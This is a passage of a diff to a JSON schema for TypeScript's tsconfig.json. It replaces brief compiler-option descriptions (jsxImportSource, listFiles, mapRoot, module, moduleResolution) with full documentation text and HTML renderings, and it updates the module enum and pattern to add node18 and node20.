+              "description": "Declares the module specifier to be used for importing the `jsx` and `jsxs` factory functions when using [`jsx`](https://typescriptlang.org/tsconfig/#jsx) as `\"react-jsx\"` or `\"react-jsxdev\"` which were introduced in TypeScript 4.1.\n\nWith [React 17](https://reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html) the library supports a new form of JSX transformation via a separate import.\n\nFor example with this code:\n\n```tsx\nimport React from \"react\";\n\nfunction App() {\n  return <h1>Hello World</h1>;\n}\n```\n\nUsing this TSConfig:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"target\": \"esnext\",\n    \"module\": \"commonjs\",\n    \"jsx\": \"react-jsx\"\n  }\n}\n```\n\nThe emitted JavaScript from TypeScript is:\n\n```tsx twoslash\n// @showEmit\n// @noErrors\n// @jsx: react-jsx\n// @module: commonjs\n// @target: esnext\ndeclare module JSX {\n  interface Element {}\n  interface IntrinsicElements {\n    [s: string]: any;\n  }\n}\nimport React from \"react\";\n\nfunction App() {\n  return <h1>Hello World</h1>;\n}\n```\n\nFor example if you wanted to use `\"jsxImportSource\": \"preact\"`, you need a tsconfig like:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"target\": \"esnext\",\n    \"module\": \"commonjs\",\n    \"jsx\": \"react-jsx\",\n    \"jsxImportSource\": \"preact\",\n    \"types\": [\"preact\"]\n  }\n}\n```\n\nWhich generates code like:\n\n```tsx twoslash\n// @showEmit\n// @jsxImportSource: preact\n// @types: preact\n// @jsx: react-jsx\n// @target: esnext\n// @module: commonjs\n// @noErrors\n\nexport function App() {\n  return <h1>Hello World</h1>;\n}\n```\n\nAlternatively, you can use a per-file pragma to set this option, for example:\n\n```tsx\n/** @jsxImportSource preact */\n\nexport function App() {\n  return <h1>Hello World</h1>;\n}\n```\n\nWould add `preact/jsx-runtime` as an import for the `_jsx` factory.\n\n_Note:_ In order for this to work like you would expect, your `tsx` file must include an `export` or `import` so that it is considered a module.",
               "type": ["string", "null"],
               "default": "react",
-              "markdownDescription": "Specify module specifier used to import the JSX factory functions when using `jsx: react-jsx`.\n\nSee more: https://www.typescriptlang.org/tsconfig#jsxImportSource"
+              "markdownDescription": "Declares the module specifier to be used for importing the `jsx` and `jsxs` factory functions when using [`jsx`](https://typescriptlang.org/tsconfig/#jsx) as `\"react-jsx\"` or `\"react-jsxdev\"` which were introduced in TypeScript 4.1.\n\nWith [React 17](https://reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html) the library supports a new form of JSX transformation via a separate import.\n\nFor example with this code:\n\n```tsx\nimport React from \"react\";\n\nfunction App() {\n  return <h1>Hello World</h1>;\n}\n```\n\nUsing this TSConfig:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"target\": \"esnext\",\n    \"module\": \"commonjs\",\n    \"jsx\": \"react-jsx\"\n  }\n}\n```\n\nThe emitted JavaScript from TypeScript is:\n\n```tsx twoslash\n// @showEmit\n// @noErrors\n// @jsx: react-jsx\n// @module: commonjs\n// @target: esnext\ndeclare module JSX {\n  interface Element {}\n  interface IntrinsicElements {\n    [s: string]: any;\n  }\n}\nimport React from \"react\";\n\nfunction App() {\n  return <h1>Hello World</h1>;\n}\n```\n\nFor example if you wanted to use `\"jsxImportSource\": \"preact\"`, you need a tsconfig like:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"target\": \"esnext\",\n    \"module\": \"commonjs\",\n    \"jsx\": \"react-jsx\",\n    \"jsxImportSource\": \"preact\",\n    \"types\": [\"preact\"]\n  }\n}\n```\n\nWhich generates code like:\n\n```tsx twoslash\n// @showEmit\n// @jsxImportSource: preact\n// @types: preact\n// @jsx: react-jsx\n// @target: esnext\n// @module: commonjs\n// @noErrors\n\nexport function App() {\n  return <h1>Hello World</h1>;\n}\n```\n\nAlternatively, you can use a per-file pragma to set this option, for example:\n\n```tsx\n/** @jsxImportSource preact */\n\nexport function App() {\n  return <h1>Hello World</h1>;\n}\n```\n\nWould add `preact/jsx-runtime` as an import for the `_jsx` factory.\n\n_Note:_ In order for this to work like you would expect, your `tsx` file must include an `export` or `import` so that it is considered a module.",
+              "x-intellij-html-description": "<p>Declares the module specifier to be used for importing the <code>jsx</code> and <code>jsxs</code> factory functions when using <a href=\"https://typescriptlang.org/tsconfig/#jsx\"><code>jsx</code></a> as <code>&quot;react-jsx&quot;</code> or <code>&quot;react-jsxdev&quot;</code> which were introduced in TypeScript 4.1.</p>\n<p>With <a href=\"https://reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html\">React 17</a> the library supports a new form of JSX transformation via a separate import.</p>\n<p>For example with this code:</p>\n<pre><code class=\"language-tsx\">import React from &quot;react&quot;;\n\nfunction App() {\n  return &lt;h1&gt;Hello World&lt;/h1&gt;;\n}\n</code></pre>\n<p>Using this TSConfig:</p>\n<pre><code class=\"language-json\">{\n  &quot;compilerOptions&quot;: {\n    &quot;target&quot;: &quot;esnext&quot;,\n    &quot;module&quot;: &quot;commonjs&quot;,\n    &quot;jsx&quot;: &quot;react-jsx&quot;\n  }\n}\n</code></pre>\n<p>The emitted JavaScript from TypeScript is:</p>\n<pre><code class=\"language-tsx\">// @showEmit\n// @noErrors\n// @jsx: react-jsx\n// @module: commonjs\n// @target: esnext\ndeclare module JSX {\n  interface Element {}\n  interface IntrinsicElements {\n    [s: string]: any;\n  }\n}\nimport React from &quot;react&quot;;\n\nfunction App() {\n  return &lt;h1&gt;Hello World&lt;/h1&gt;;\n}\n</code></pre>\n<p>For example if you wanted to use <code>&quot;jsxImportSource&quot;: &quot;preact&quot;</code>, you need a tsconfig like:</p>\n<pre><code class=\"language-json\">{\n  &quot;compilerOptions&quot;: {\n    &quot;target&quot;: &quot;esnext&quot;,\n    &quot;module&quot;: &quot;commonjs&quot;,\n    &quot;jsx&quot;: &quot;react-jsx&quot;,\n    &quot;jsxImportSource&quot;: &quot;preact&quot;,\n    &quot;types&quot;: [&quot;preact&quot;]\n  }\n}\n</code></pre>\n<p>Which generates code like:</p>\n<pre><code class=\"language-tsx\">// @showEmit\n// @jsxImportSource: preact\n// @types: preact\n// @jsx: react-jsx\n// @target: esnext\n// @module: commonjs\n// @noErrors\n\nexport function App() {\n  return &lt;h1&gt;Hello World&lt;/h1&gt;;\n}\n</code></pre>\n<p>Alternatively, you can use a per-file pragma to set this option, for example:</p>\n<pre><code class=\"language-tsx\">/** @jsxImportSource preact */\n\nexport function App() {\n  return &lt;h1&gt;Hello World&lt;/h1&gt;;\n}\n</code></pre>\n<p>Would add <code>preact/jsx-runtime</code> as an import for the <code>_jsx</code> factory.</p>\n<p><em>Note:</em> In order for this to work like you would expect, your <code>tsx</code> file must include an <code>export</code> or <code>import</code> so that it is considered a module.</p>\n"
             },
             "listFiles": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Print all of the files read during the compilation.",
+              "description": "Print names of files part of the compilation. This is useful when you are not sure that TypeScript has\nincluded a file you expected.\n\nFor example:\n\n```\nexample\n├── index.ts\n├── package.json\n└── tsconfig.json\n```\n\nWith:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"listFiles\": true\n  }\n}\n```\n\nWould echo paths like:\n\n```\n$ npm run tsc\npath/to/example/node_modules/typescript/lib/lib.d.ts\npath/to/example/node_modules/typescript/lib/lib.es5.d.ts\npath/to/example/node_modules/typescript/lib/lib.dom.d.ts\npath/to/example/node_modules/typescript/lib/lib.webworker.importscripts.d.ts\npath/to/example/node_modules/typescript/lib/lib.scripthost.d.ts\npath/to/example/index.ts\n```\n\nNote if using TypeScript 4.2, prefer [`explainFiles`](https://typescriptlang.org/tsconfig/#explainFiles) which offers an explanation of why a file was added too.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Print all of the files read during the compilation.\n\nSee more: https://www.typescriptlang.org/tsconfig#listFiles"
+              "markdownDescription": "Print names of files part of the compilation. This is useful when you are not sure that TypeScript has\nincluded a file you expected.\n\nFor example:\n\n```\nexample\n├── index.ts\n├── package.json\n└── tsconfig.json\n```\n\nWith:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"listFiles\": true\n  }\n}\n```\n\nWould echo paths like:\n\n```\n$ npm run tsc\npath/to/example/node_modules/typescript/lib/lib.d.ts\npath/to/example/node_modules/typescript/lib/lib.es5.d.ts\npath/to/example/node_modules/typescript/lib/lib.dom.d.ts\npath/to/example/node_modules/typescript/lib/lib.webworker.importscripts.d.ts\npath/to/example/node_modules/typescript/lib/lib.scripthost.d.ts\npath/to/example/index.ts\n```\n\nNote if using TypeScript 4.2, prefer [`explainFiles`](https://typescriptlang.org/tsconfig/#explainFiles) which offers an explanation of why a file was added too.",
+              "x-intellij-html-description": "<p>Print names of files part of the compilation. This is useful when you are not sure that TypeScript has\nincluded a file you expected.</p>\n<p>For example:</p>\n<pre><code>example\n├── index.ts\n├── package.json\n└── tsconfig.json\n</code></pre>\n<p>With:</p>\n<pre><code class=\"language-json\">{\n  &quot;compilerOptions&quot;: {\n    &quot;listFiles&quot;: true\n  }\n}\n</code></pre>\n<p>Would echo paths like:</p>\n<pre><code>$ npm run tsc\npath/to/example/node_modules/typescript/lib/lib.d.ts\npath/to/example/node_modules/typescript/lib/lib.es5.d.ts\npath/to/example/node_modules/typescript/lib/lib.dom.d.ts\npath/to/example/node_modules/typescript/lib/lib.webworker.importscripts.d.ts\npath/to/example/node_modules/typescript/lib/lib.scripthost.d.ts\npath/to/example/index.ts\n</code></pre>\n<p>Note if using TypeScript 4.2, prefer <a href=\"https://typescriptlang.org/tsconfig/#explainFiles\"><code>explainFiles</code></a> which offers an explanation of why a file was added too.</p>\n"
             },
             "mapRoot": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify the location where debugger should locate map files instead of generated locations.",
+              "description": "Specify the location where debugger should locate map files instead of generated locations.\nThis string is treated verbatim inside the source-map, for example:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"sourceMap\": true,\n    \"mapRoot\": \"https://my-website.com/debug/sourcemaps/\"\n  }\n}\n```\n\nWould declare that `index.js` will have sourcemaps at `https://my-website.com/debug/sourcemaps/index.js.map`.",
               "type": ["string", "null"],
-              "markdownDescription": "Specify the location where debugger should locate map files instead of generated locations.\n\nSee more: https://www.typescriptlang.org/tsconfig#mapRoot"
+              "markdownDescription": "Specify the location where debugger should locate map files instead of generated locations.\nThis string is treated verbatim inside the source-map, for example:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"sourceMap\": true,\n    \"mapRoot\": \"https://my-website.com/debug/sourcemaps/\"\n  }\n}\n```\n\nWould declare that `index.js` will have sourcemaps at `https://my-website.com/debug/sourcemaps/index.js.map`.",
+              "x-intellij-html-description": "<p>Specify the location where debugger should locate map files instead of generated locations.\nThis string is treated verbatim inside the source-map, for example:</p>\n<pre><code class=\"language-json\">{\n  &quot;compilerOptions&quot;: {\n    &quot;sourceMap&quot;: true,\n    &quot;mapRoot&quot;: &quot;https://my-website.com/debug/sourcemaps/&quot;\n  }\n}\n</code></pre>\n<p>Would declare that <code>index.js</code> will have sourcemaps at <code>https://my-website.com/debug/sourcemaps/index.js.map</code>.</p>\n"
             },
             "module": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify what module code is generated.",
+              "description": "Sets the module system for the program. See the [theory behind TypeScript’s `module` option](https://typescriptlang.org/docs/handbook/modules/theory.html#the-module-output-format) and [its reference page](https://typescriptlang.org/docs/handbook/modules/reference.html#the-module-compiler-option) for more information. You very likely want `\"nodenext\"` for modern Node.js projects and `preserve` or `esnext` for code that will be bundled.\n\nChanging `module` affects [`moduleResolution`](https://typescriptlang.org/tsconfig/#moduleResolution) which [also has a reference page](https://typescriptlang.org/docs/handbook/modules/reference.html#the-moduleresolution-compiler-option).\n\nHere's some example output for this file:\n\n```ts twoslash\n// @filename: constants.ts\nexport const valueOfPi = 3.142;\n// ---cut---\n// @filename: index.ts\nimport { valueOfPi } from \"./constants\";\n\nexport const twoPi = valueOfPi * 2;\n```\n\n#### `CommonJS`\n\n```ts twoslash\n// @showEmit\n// @module: commonjs\n// @noErrors\nimport { valueOfPi } from \"./constants\";\n\nexport const twoPi = valueOfPi * 2;\n```\n\n#### `UMD`\n\n```ts twoslash\n// @showEmit\n// @module: umd\n// @noErrors\nimport { valueOfPi } from \"./constants\";\n\nexport const twoPi = valueOfPi * 2;\n```\n\n#### `AMD`\n\n```ts twoslash\n// @showEmit\n// @module: amd\n// @noErrors\nimport { valueOfPi } from \"./constants\";\n\nexport const twoPi = valueOfPi * 2;\n```\n\n#### `System`\n\n```ts twoslash\n// @showEmit\n// @module: system\n// @noErrors\nimport { valueOfPi } from \"./constants\";\n\nexport const twoPi = valueOfPi * 2;\n```\n\n#### `ESNext`\n\n```ts twoslash\n// @showEmit\n// @module: esnext\n// @noErrors\nimport { valueOfPi } from \"./constants\";\n\nexport const twoPi = valueOfPi * 2;\n```\n\n#### `ES2015`/`ES6`/`ES2020`/`ES2022`\n\n```ts twoslash\n// @showEmit\n// @module: es2015\n// @noErrors\nimport { valueOfPi } from \"./constants\";\n\nexport const twoPi = valueOfPi * 2;\n```\n\nIn addition to the base functionality of `ES2015`/`ES6`, `ES2020` adds support for [dynamic `import`s](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import), and [`import.meta`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import.meta) while `ES2022` further adds support for [top level `await`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/await#top_level_await).\n\n#### `node16`/`node18`/`node20`/`nodenext`\n\nThe `node16`, `node18`, `node20`, and `nodenext` modes integrate with Node's [native ECMAScript Module support](https://nodejs.org/api/esm.html). The emitted JavaScript uses either `CommonJS` or `ES2020` output depending on the file extension and the value of the `type` setting in the nearest `package.json`. Module resolution also works differently. You can learn more in the [handbook](https://typescriptlang.org/docs/handbook/esm-node.html) and [Modules Reference](https://typescriptlang.org/docs/handbook/modules/reference.html#node16-node18-node20-nodenext).\n\n- `node16` is available from TypeScript 4.7\n- `node18` is available from TypeScript 5.8 as a replacement for `node16`, with added support for import attributes.\n- `node20` adds support for require(ESM).\n- `nodenext` is available from TypeScript 4.7, but its behavior changes with the latest stable versions of Node.js. `--module nodenext` implies the floating `--target esnext`.\n\n#### `preserve`\n\nIn `--module preserve` ([added](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-5-4.html#support-for-require-calls-in---moduleresolution-bundler-and---module-preserve) in TypeScript 5.4), ECMAScript imports and exports written in input files are preserved in the output, and CommonJS-style `import x = require(\"...\")` and `export = ...` statements are emitted as CommonJS `require` and `module.exports`. In other words, the format of each individual import or export statement is preserved, rather than being coerced into a single format for the whole compilation (or even a whole file).\n\n```ts twoslash\n// @showEmit\n// @module: preserve\n// @noErrors\nimport { valueOfPi } from \"./constants\";\nimport constants = require(\"./constants\");\n\nexport const piSquared = valueOfPi * constants.valueOfPi;\n```\n\nWhile it’s rare to need to mix imports and require calls in the same file, this `module` mode best reflects the capabilities of most modern bundlers, as well as the Bun runtime.\n\n> Why care about TypeScript’s `module` emit with a bundler or with Bun, where you’re likely also setting `noEmit`? TypeScript’s type checking and module resolution behavior are affected by the module format that it _would_ emit. Setting `module` gives TypeScript information about how your bundler or runtime will process imports and exports, which ensures that the types you see on imported values accurately reflect what will happen at runtime or after bundling.\n\n#### `None`\n\n```ts twoslash\n// @showEmit\n// @module: none\n// @noErrors\nimport { valueOfPi } from \"./constants\";\n\nexport const twoPi = valueOfPi * 2;\n```",
               "type": ["string", "null"],
               "anyOf": [
                 {
                   "enum": [
-                    "CommonJS",
-                    "AMD",
-                    "System",
-                    "UMD",
-                    "ES6",
-                    "ES2015",
-                    "ES2020",
-                    "ESNext",
-                    "None",
-                    "ES2022",
-                    "Node16",
-                    "NodeNext",
-                    "Preserve"
+                    "commonjs",
+                    "amd",
+                    "system",
+                    "umd",
+                    "es6",
+                    "es2015",
+                    "es2020",
+                    "esnext",
+                    "none",
+                    "es2022",
+                    "node16",
+                    "node18",
+                    "node20",
+                    "nodenext",
+                    "preserve"
                   ]
                 },
                 {
-                  "pattern": "^([Cc][Oo][Mm][Mm][Oo][Nn][Jj][Ss]|[AaUu][Mm][Dd]|[Ss][Yy][Ss][Tt][Ee][Mm]|[Ee][Ss]([356]|20(1[567]|2[02])|[Nn][Ee][Xx][Tt])|[Nn][Oo][dD][Ee]16|[Nn][Oo][Dd][Ee][Nn][Ee][Xx][Tt]|[Nn][Oo][Nn][Ee]|[Pp][Rr][Ee][Ss][Ee][Rr][Vv][Ee])$"
+                  "pattern": "^([Cc][Oo][Mm][Mm][Oo][Nn][Jj][Ss]|[AaUu][Mm][Dd]|[Ss][Yy][Ss][Tt][Ee][Mm]|[Ee][Ss]([356]|20(1[567]|2[02])|[Nn][Ee][Xx][Tt])|[Nn][Oo][dD][Ee](1[68]|20)|[Nn][Oo][Dd][Ee][Nn][Ee][Xx][Tt]|[Nn][Oo][Nn][Ee]|[Pp][Rr][Ee][Ss][Ee][Rr][Vv][Ee])$"
                 }
               ],
-              "markdownDescription": "Specify what module code is generated.\n\nSee more: https://www.typescriptlang.org/tsconfig#module"
+              "markdownDescription": "Sets the module system for the program. See the [theory behind TypeScript’s `module` option](https://typescriptlang.org/docs/handbook/modules/theory.html#the-module-output-format) and [its reference page](https://typescriptlang.org/docs/handbook/modules/reference.html#the-module-compiler-option) for more information. You very likely want `\"nodenext\"` for modern Node.js projects and `preserve` or `esnext` for code that will be bundled.\n\nChanging `module` affects [`moduleResolution`](https://typescriptlang.org/tsconfig/#moduleResolution) which [also has a reference page](https://typescriptlang.org/docs/handbook/modules/reference.html#the-moduleresolution-compiler-option).\n\nHere's some example output for this file:\n\n```ts twoslash\n// @filename: constants.ts\nexport const valueOfPi = 3.142;\n// ---cut---\n// @filename: index.ts\nimport { valueOfPi } from \"./constants\";\n\nexport const twoPi = valueOfPi * 2;\n```\n\n#### `CommonJS`\n\n```ts twoslash\n// @showEmit\n// @module: commonjs\n// @noErrors\nimport { valueOfPi } from \"./constants\";\n\nexport const twoPi = valueOfPi * 2;\n```\n\n#### `UMD`\n\n```ts twoslash\n// @showEmit\n// @module: umd\n// @noErrors\nimport { valueOfPi } from \"./constants\";\n\nexport const twoPi = valueOfPi * 2;\n```\n\n#### `AMD`\n\n```ts twoslash\n// @showEmit\n// @module: amd\n// @noErrors\nimport { valueOfPi } from \"./constants\";\n\nexport const twoPi = valueOfPi * 2;\n```\n\n#### `System`\n\n```ts twoslash\n// @showEmit\n// @module: system\n// @noErrors\nimport { valueOfPi } from \"./constants\";\n\nexport const twoPi = valueOfPi * 2;\n```\n\n#### `ESNext`\n\n```ts twoslash\n// @showEmit\n// @module: esnext\n// @noErrors\nimport { valueOfPi } from \"./constants\";\n\nexport const twoPi = valueOfPi * 2;\n```\n\n#### `ES2015`/`ES6`/`ES2020`/`ES2022`\n\n```ts twoslash\n// @showEmit\n// @module: es2015\n// @noErrors\nimport { valueOfPi } from \"./constants\";\n\nexport const twoPi = valueOfPi * 2;\n```\n\nIn addition to the base functionality of `ES2015`/`ES6`, `ES2020` adds support for [dynamic `import`s](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import), and [`import.meta`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import.meta) while `ES2022` further adds support for [top level `await`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/await#top_level_await).\n\n#### `node16`/`node18`/`node20`/`nodenext`\n\nThe `node16`, `node18`, `node20`, and `nodenext` modes integrate with Node's [native ECMAScript Module support](https://nodejs.org/api/esm.html). The emitted JavaScript uses either `CommonJS` or `ES2020` output depending on the file extension and the value of the `type` setting in the nearest `package.json`. Module resolution also works differently. You can learn more in the [handbook](https://typescriptlang.org/docs/handbook/esm-node.html) and [Modules Reference](https://typescriptlang.org/docs/handbook/modules/reference.html#node16-node18-node20-nodenext).\n\n- `node16` is available from TypeScript 4.7\n- `node18` is available from TypeScript 5.8 as a replacement for `node16`, with added support for import attributes.\n- `node20` adds support for require(ESM).\n- `nodenext` is available from TypeScript 4.7, but its behavior changes with the latest stable versions of Node.js. `--module nodenext` implies the floating `--target esnext`.\n\n#### `preserve`\n\nIn `--module preserve` ([added](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-5-4.html#support-for-require-calls-in---moduleresolution-bundler-and---module-preserve) in TypeScript 5.4), ECMAScript imports and exports written in input files are preserved in the output, and CommonJS-style `import x = require(\"...\")` and `export = ...` statements are emitted as CommonJS `require` and `module.exports`. In other words, the format of each individual import or export statement is preserved, rather than being coerced into a single format for the whole compilation (or even a whole file).\n\n```ts twoslash\n// @showEmit\n// @module: preserve\n// @noErrors\nimport { valueOfPi } from \"./constants\";\nimport constants = require(\"./constants\");\n\nexport const piSquared = valueOfPi * constants.valueOfPi;\n```\n\nWhile it’s rare to need to mix imports and require calls in the same file, this `module` mode best reflects the capabilities of most modern bundlers, as well as the Bun runtime.\n\n> Why care about TypeScript’s `module` emit with a bundler or with Bun, where you’re likely also setting `noEmit`? TypeScript’s type checking and module resolution behavior are affected by the module format that it _would_ emit. Setting `module` gives TypeScript information about how your bundler or runtime will process imports and exports, which ensures that the types you see on imported values accurately reflect what will happen at runtime or after bundling.\n\n#### `None`\n\n```ts twoslash\n// @showEmit\n// @module: none\n// @noErrors\nimport { valueOfPi } from \"./constants\";\n\nexport const twoPi = valueOfPi * 2;\n```",
+              "x-intellij-html-description": "<p>Sets the module system for the program. See the <a href=\"https://typescriptlang.org/docs/handbook/modules/theory.html#the-module-output-format\">theory behind TypeScript’s <code>module</code> option</a> and <a href=\"https://typescriptlang.org/docs/handbook/modules/reference.html#the-module-compiler-option\">its reference page</a> for more information. You very likely want <code>&quot;nodenext&quot;</code> for modern Node.js projects and <code>preserve</code> or <code>esnext</code> for code that will be bundled.</p>\n<p>Changing <code>module</code> affects <a href=\"https://typescriptlang.org/tsconfig/#moduleResolution\"><code>moduleResolution</code></a> which <a href=\"https://typescriptlang.org/docs/handbook/modules/reference.html#the-moduleresolution-compiler-option\">also has a reference page</a>.</p>\n<p>Here&#39;s some example output for this file:</p>\n<pre><code class=\"language-ts\">// @filename: constants.ts\nexport const valueOfPi = 3.142;\n// ---cut---\n// @filename: index.ts\nimport { valueOfPi } from &quot;./constants&quot;;\n\nexport const twoPi = valueOfPi * 2;\n</code></pre>\n<h4><code>CommonJS</code></h4>\n<pre><code class=\"language-ts\">// @showEmit\n// @module: commonjs\n// @noErrors\nimport { valueOfPi } from &quot;./constants&quot;;\n\nexport const twoPi = valueOfPi * 2;\n</code></pre>\n<h4><code>UMD</code></h4>\n<pre><code class=\"language-ts\">// @showEmit\n// @module: umd\n// @noErrors\nimport { valueOfPi } from &quot;./constants&quot;;\n\nexport const twoPi = valueOfPi * 2;\n</code></pre>\n<h4><code>AMD</code></h4>\n<pre><code class=\"language-ts\">// @showEmit\n// @module: amd\n// @noErrors\nimport { valueOfPi } from &quot;./constants&quot;;\n\nexport const twoPi = valueOfPi * 2;\n</code></pre>\n<h4><code>System</code></h4>\n<pre><code class=\"language-ts\">// @showEmit\n// @module: system\n// @noErrors\nimport { valueOfPi } from &quot;./constants&quot;;\n\nexport const twoPi = valueOfPi * 2;\n</code></pre>\n<h4><code>ESNext</code></h4>\n<pre><code class=\"language-ts\">// @showEmit\n// @module: esnext\n// @noErrors\nimport { valueOfPi } from &quot;./constants&quot;;\n\nexport const twoPi = valueOfPi * 2;\n</code></pre>\n<h4><code>ES2015</code>/<code>ES6</code>/<code>ES2020</code>/<code>ES2022</code></h4>\n<pre><code class=\"language-ts\">// @showEmit\n// @module: es2015\n// @noErrors\nimport { valueOfPi } from &quot;./constants&quot;;\n\nexport const twoPi = valueOfPi * 2;\n</code></pre>\n<p>In addition to the base functionality of <code>ES2015</code>/<code>ES6</code>, <code>ES2020</code> adds support for <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import\">dynamic <code>import</code>s</a>, and <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import.meta\"><code>import.meta</code></a> while <code>ES2022</code> further adds support for <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/await#top_level_await\">top level <code>await</code></a>.</p>\n<h4><code>node16</code>/<code>node18</code>/<code>node20</code>/<code>nodenext</code></h4>\n<p>The <code>node16</code>, <code>node18</code>, <code>node20</code>, and <code>nodenext</code> modes integrate with Node&#39;s <a href=\"https://nodejs.org/api/esm.html\">native ECMAScript Module support</a>. The emitted JavaScript uses either <code>CommonJS</code> or <code>ES2020</code> output depending on the file extension and the value of the <code>type</code> setting in the nearest <code>package.json</code>. Module resolution also works differently. You can learn more in the <a href=\"https://typescriptlang.org/docs/handbook/esm-node.html\">handbook</a> and <a href=\"https://typescriptlang.org/docs/handbook/modules/reference.html#node16-node18-node20-nodenext\">Modules Reference</a>.</p>\n<ul>\n<li><code>node16</code> is available from TypeScript 4.7</li>\n<li><code>node18</code> is available from TypeScript 5.8 as a replacement for <code>node16</code>, with added support for import attributes.</li>\n<li><code>node20</code> adds support for require(ESM).</li>\n<li><code>nodenext</code> is available from TypeScript 4.7, but its behavior changes with the latest stable versions of Node.js. <code>--module nodenext</code> implies the floating <code>--target esnext</code>.</li>\n</ul>\n<h4><code>preserve</code></h4>\n<p>In <code>--module preserve</code> (<a href=\"https://www.typescriptlang.org/docs/handbook/release-notes/typescript-5-4.html#support-for-require-calls-in---moduleresolution-bundler-and---module-preserve\">added</a> in TypeScript 5.4), ECMAScript imports and exports written in input files are preserved in the output, and CommonJS-style <code>import x = require(&quot;...&quot;)</code> and <code>export = ...</code> statements are emitted as CommonJS <code>require</code> and <code>module.exports</code>. In other words, the format of each individual import or export statement is preserved, rather than being coerced into a single format for the whole compilation (or even a whole file).</p>\n<pre><code class=\"language-ts\">// @showEmit\n// @module: preserve\n// @noErrors\nimport { valueOfPi } from &quot;./constants&quot;;\nimport constants = require(&quot;./constants&quot;);\n\nexport const piSquared = valueOfPi * constants.valueOfPi;\n</code></pre>\n<p>While it’s rare to need to mix imports and require calls in the same file, this <code>module</code> mode best reflects the capabilities of most modern bundlers, as well as the Bun runtime.</p>\n<blockquote>\n<p>Why care about TypeScript’s <code>module</code> emit with a bundler or with Bun, where you’re likely also setting <code>noEmit</code>? TypeScript’s type checking and module resolution behavior are affected by the module format that it <em>would</em> emit. Setting <code>module</code> gives TypeScript information about how your bundler or runtime will process imports and exports, which ensures that the types you see on imported values accurately reflect what will happen at runtime or after bundling.</p>\n</blockquote>\n<h4><code>None</code></h4>\n<pre><code class=\"language-ts\">// @showEmit\n// @module: none\n// @noErrors\nimport { valueOfPi } from &quot;./constants&quot;;\n\nexport const twoPi = valueOfPi * 2;\n</code></pre>\n"
             },
             "moduleResolution": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify how TypeScript looks up a file from a given module specifier.",
+              "description": "Specify the module resolution strategy:\n\n- `'node16'` or `'nodenext'` for modern versions of Node.js. Node.js v12 and later supports both ECMAScript imports and CommonJS `require`, which resolve using different algorithms. These `moduleResolution` values, when combined with the corresponding [`module`](https://typescriptlang.org/tsconfig/#module) values, picks the right algorithm for each resolution based on whether Node.js will see an `import` or `require` in the output JavaScript code.\n- `'node10'` (previously called `'node'`) for Node.js versions older than v10, which only support CommonJS `require`. You probably won't need to use `node10` in modern code.\n- `'bundler'` for use with bundlers. Like `node16` and `nodenext`, this mode supports package.json `\"imports\"` and `\"exports\"`, but unlike the Node.js resolution modes, `bundler` never requires file extensions on relative paths in imports.\n- `'classic'` was used in TypeScript before the release of 1.6. `classic` should not be used.\n\nThere are reference pages explaining the [theory behind TypeScript’s module resolution](https://www.typescriptlang.org/docs/handbook/modules/theory.html#module-resolution) and the [details of each option](https://typescriptlang.org/docs/handbook/modules/reference.html#the-moduleresolution-compiler-option).",
               "type": ["string", "null"],
               "anyOf": [
                 {
@@ -446,11 +457,21 @@
                   "pattern": "^(([Nn]ode)|([Nn]ode1[06])|([Nn]ode[Nn]ext)|([Cc]lassic)|([Bb]undler))$"
                 }
               ],
-              "markdownDescription": "Specify how TypeScript looks up a file from a given module specifier.\n\nSee more: https://www.typescriptlang.org/tsconfig#moduleResolution"
+              "markdownDescription": "Specify the module resolution strategy:\n\n- `'node16'` or `'nodenext'` for modern versions of Node.js. Node.js v12 and later supports both ECMAScript imports and CommonJS `require`, which resolve using different algorithms. These `moduleResolution` values, when combined with the corresponding [`module`](https://typescriptlang.org/tsconfig/#module) values, picks the right algorithm for each resolution based on whether Node.js will see an `import` or `require` in the output JavaScript code.\n- `'node10'` (previously called `'node'`) for Node.js versions older than v10, which only support CommonJS `require`. You probably won't need to use `node10` in modern code.\n- `'bundler'` for use with bundlers. Like `node16` and `nodenext`, this mode supports package.json `\"imports\"` and `\"exports\"`, but unlike the Node.js resolution modes, `bundler` never requires file extensions on relative paths in imports.\n- `'classic'` was used in TypeScript before the release of 1.6. `classic` should not be used.\n\nThere are reference pages explaining the [theory behind TypeScript’s module resolution](https://www.typescriptlang.org/docs/handbook/modules/theory.html#module-resolution) and the [details of each option](https://typescriptlang.org/docs/handbook/modules/reference.html#the-moduleresolution-compiler-option).",
